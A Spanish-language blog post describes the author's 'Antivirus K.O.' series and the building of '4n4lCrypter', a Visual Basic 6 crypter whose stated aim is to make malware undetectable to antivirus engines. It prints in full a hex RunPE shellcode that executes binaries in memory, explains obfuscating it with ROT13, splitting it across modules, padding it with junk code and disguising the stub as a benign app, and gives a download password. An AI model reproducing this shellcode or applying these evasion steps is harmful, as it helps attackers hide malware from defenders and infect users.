sábado, 23 de mayo de 2015

Antivirus K.O. 4n4lCrypter y evasión de antivirus desde código fuente

Pues va a ser que debo de estar jodidamente loco, teníais razón. No conozco a nadie salvo a mí mismo, que escribiendo un artículo medianamente técnico o serio como podría darse el caso de ser este, se levante a bailar durante un buen rato al ritmo de Juan Luis Guerra perdiendo completamente el hilo. Y os lo digo con conocimiento de causa, ya que sé exactamente qué es lo que hacéis en vuestra casa… ¡os veo por la webcam! ;)

Diréis… ¡bueno! estás loco, pero es “normal”, ya que estás solo en tu casa y no tienes por qué avergonzarte jajajaja ¡no! Esto me pasa a menudo y en cualquier lugar, no exactamente me pongo a dar brincos de alegría, ¿o sí?, pero siempre tengo una cancioncilla sonando en mi mente o algo gracioso que a veces no solo me hace partirme de risa solo, sino que involuntariamente también ayuda a evadirme.

Siempre criticaron mi forma de ver la vida, demasiado cercana a los mundos de Yupi, la cruel realidad no me daña y es eso o vivir una vida precaria… ejem… (osea de mierda). Como la que tiene una gran mayoría de mortales que me rodean y a su vez critican, sin ilusión o con algún problema psicológico no cuanto menos ilógico, el cual desconozco el porqué de tener que darle importancia alguna. Negatividad y falta de optimismo, ciegan incluso su visión de futuro más cercano. A veces se hace tan difícil combatir contra este tipo de personas lúgubres y taciturnas, que salir a la calle y pintarle una sonrisa a la vida se convierte en un auténtico reto. ¿De qué cojones iba la entrada de hoy? ¡Ah sí!

Los asiduos a leer mi blog, se habrán dado cuenta de que me lo paso piruleta haciendo reversing al malware, con el objetivo de hacerlos indetectables a los motores antivirus. En este caso no dejaremos a OllyDbg de lado, pero sí le restaremos importancia, ya que explicaré métodos evasivos desde el código fuente de un “crypter” desarrollado en mi habitual Visual Basic 6, al que he llamado… 4n4lCrypter.
Uno de los métodos más comunes para llevar a cabo la creación de un crypter, se trata de incluir un módulo RunPE que consiga ejecutar un binario “on the fly”, algo así como sin la necesidad de tocar el disco, ya que este pasa a ejecutarse directamente en memoria. Para lograr esto, existen varios módulos públicos. Nosotros en este caso utilizaremos una conocida ShellCode desarrollada por hamavb, la cual dejo a continuación por si alguno decide utilizarla en cualquier otro lenguaje de sus proyectos.

60E84E0000006B00650072006E0065006C003300320000006E00740064006C006C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005B8BFC6A42E8BB0300008B54242889118B54242C6A3EE8AA03000089116A4AE8A103000089396A1E6A3CE89D0300006A2268F4000000E8910300006A266A24E8880300006A2A6A40E87F0300006A2E6A0CE8760300006A3268C8000000E86A0300006A2AE85C0300008B09C701440000006A12E84D030000685BE814CF51E8790300006A3EE83B0300008BD16A1EE8320300006A40FF32FF31FFD06A12E823030000685BE814CF51E84F0300006A1EE8110300008B098B513C6A3EE8050300008B3903FA6A22E8FA0200008B0968F80000005751FFD06A00E8E80200006888FEB31651E8140300006A2EE8D60200008B396A2AE8CD0200008B116A42E8C402000057526A006A006A046A006A006A006A00FF31FFD06A12E8A902000068D03710F251E8D50200006A22E8970200008B116A2EE88E0200008B09FF7234FF31FFD06A00E87E020000689C951A6E51E8AA0200006A22E86C0200008B118B396A2EE8610200008B096A406800300000FF7250FF7734FF31FFD06A36E8470200008BD16A22E83E0200008B396A3EE8350200008B316A22E82C0200008B016A2EE8230200008B0952FF775456FF7034FF316A00E81002000068A16A3DD851E83C02000083C40CFFD06A12E8F9010000685BE814CF51E8250200006A22E8E70100008B1183C2066A3AE8DB0100006A025251FFD06A36E8CE010000C70100000000B8280000006A36E8BC010000F7216A1EE8B30100008B118B523C81C2F800000003D06A3EE89F01000003116A26E8960100006A2852FF316A12E88A010000685BE814CF51E8B601000083C40CFFD06A26E8730100008B398B098B71146A3EE86501000003316A26E85C0100008B098B510C6A22E8500100008B090351346A46E8440100008BC16A2EE83B0100008B0950FF77105652FF316A00E82A01000068A16A3DD851E85601000083C40CFFD06A36E8130100008B1183C20189116A3AE8050100008B093BCA0F8533FFFFFF6A32E8F40000008B09C701070001006A00E8E500000068D2C7A76851E8110100006A32E8D30000008B116A2EE8CA0000008B0952FF7104FFD06A22E8BB0000008B3983C7346A32E8AF0000008B318BB6A400000083C6086A2EE89D0000008B116A46E894000000516A045756FF326A00E88600000068A16A3DD851E8B200000083C40CFFD06A22E86F0000008B098B51280351346A32E8600000008B0981C1B000000089116A00E84F00000068D3C7A7E851E87B0000006A32E83D0000008BD16A2EE8340000008B09FF32FF7104FFD06A00E82400000068883F4A9E51E8500000006A2EE8120000008B09FF7104FFD06A4AE8040000008B2161C38BCB034C2404C36A00E8F2FFFFFF6854CAAF9151E81E0000006A406800100000FF7424186A00FFD0FF742414E8CFFFFFFF890183C410C3E82200000068A44E0EEC50E84B00000083C408FF742404FFD0FF74240850E83800000083C408C355525153565733C0648B70308B760C8B761C8B6E088B7E208B3638471875F3803F6B7407803F4B7402EBE78BC55F5E5B595A5DC35552515356578B6C241C85ED74438B453C8B54287803D58B4A188B5A2003DDE330498B348B03F533FF33C0FCAC84C07407C1CF0D03F8EBF43B7C242075E18B5A2403DD668B0C4B8B5A1C03DD8B048B03C55F5E5B595A5DC3C300000000

Sin duda existen millones de binarios repartidos por el mundo utilizando esta misma ShellCode ¿Cómo puede ser que los antivirus no la detecten? Sencillamente porque es imposible realizar el análisis en memoria de todos los binarios de un ordenador, por cuestiones de rendimiento. No obstante, si esta ShellCode se incluye como “string” en el binario en disco, las compañías antivirus tendrán mucho más sencilla su detección… lo que haremos en este caso es modificar el aspecto de la ShellCode. En primer lugar podemos utilizar alguna herramienta ShellcodeToExe para echarle un vistazo a las instrucciones, pudiendo incluir o modificar las rutinas como ya hicimos en anteriores entradas de Antivirus K.O.. El foro de Indetectables.net tiene una herramienta muy cómoda para realizar esta tarea, así que pegaremos la ristra y descargaremos el binario.


Tras arrastrar a OllyDbg el ejecutable generado, a ojo de buen cubero en la dirección de memoria 401020 vemos el PUSHAD que inicia el código de nuestra ShellCode.


Podremos aplicar los métodos aprendidos en el blog, para generar una nueva ristra a la que llevarnos a nuestro crypter.

Actualmente en una gran cantidad de foros sobre hacking, se incluyen publicaciones sobre diferentes modificaciones de esta ShellCode, normalmente sobre las “strings” del proyecto. Algo más sencillo de variar utilizando algoritmos de cifrado u otros métodos como concatenación de caracteres, con el equivalente número de la tabla ASCII entre las más comunes. La forma de llamarla sería mediante ASM en línea, con lo que evitando las limitaciones en Visual Basic 6 sobre los tamaños de las cadenas declaradas en el código fuente, reservaríamos una “string” dividida en siete trozos de la siguiente manera.


De igual manera que en el resto de métodos evasivos a bajo nivel, en este deberíamos de camuflar el objetivo principal de la aplicación, utilizando código basura para jugar al despiste con los motores antivirus. La inserción de este código basura puede realizarse de forma manual, incluyendo auténticas funciones o más bien lo contrario, utilizando un proyecto de otra aplicación para incluir nuestro código malicioso. Por otro lado existen aplicaciones llamadas “RunPE Generator”, las cuales generan módulos RunPE con variables, funciones y API con nombres aleatorios. En el caso de 4n4lCrypter, decidí utilizar una mezcla de varios métodos. Por un lado la herramienta Abronsius Code Obfuscator, con la que incrusté el algoritmo ROT13 para ofuscar las “strings” de la ShellCode agregando el algoritmo al proyecto.


Decidí que sería un buen código para el stub de mi crypter, la herramienta de cortado que utilizo en 4n4lDetector v1.0, así que la migré al nuevo proyecto y la incluí como formulario principal. Además agregué una imagen para darle más apariencia de aplicación con buenas intenciones… ¿Qué malware utiliza imágenes en sus proyectos? ¡Pues 4n4lCrypter!.


Decidí separar a la ShellCode ofuscada en diferentes módulos, y llamarla mediante funciones. La siguiente imagen muestra código basura ofuscado entre los fragmentos del RunPE.


La función principal del ShRunPE llamando por Calls al resto de fragmentos, junto al CallWindowProc el cual también podríamos ofuscar su nombre de función.


Después de compilar el stub, agregarle un icono y eliminar desde el editor hexadecimal la ruta de compilación y el VersionInfo desde la herramienta Resource Hacker, este es el resultado de las detecciones antivirus del stub de mi crypter.


Al cifrado se suma Avira y Eset, algo que os dejaré como tarea porque yo me voy de fiesta ;)

La próxima versión todavía no publicada de 4n4lDetector v1.1, mostraría la siguiente información del ejecutable. DllFunctionCall como siempre haciendo de las suyas ocultando información sobre las API utilizadas.


A continuación les dejo la imagen de la herramienta, un toque personal que últimamente acostumbro a darle a estas con la similitud de una consola. Nada que ver con mis anteriores crypters… Billar Crypter.



Pass: 4n0nym0us

Saludos 4n4les! ;)

2 comentarios:

  1. Excelente trabajo! muchas gracias, soy relativamente novato en todo esto y toda la info me ha ayudado demasiado... gracias de nuevo

    Un abrazo

    ResponderEliminar
  2. cuando un tutorial sobre creacion de un runpe desde cero

    ResponderEliminar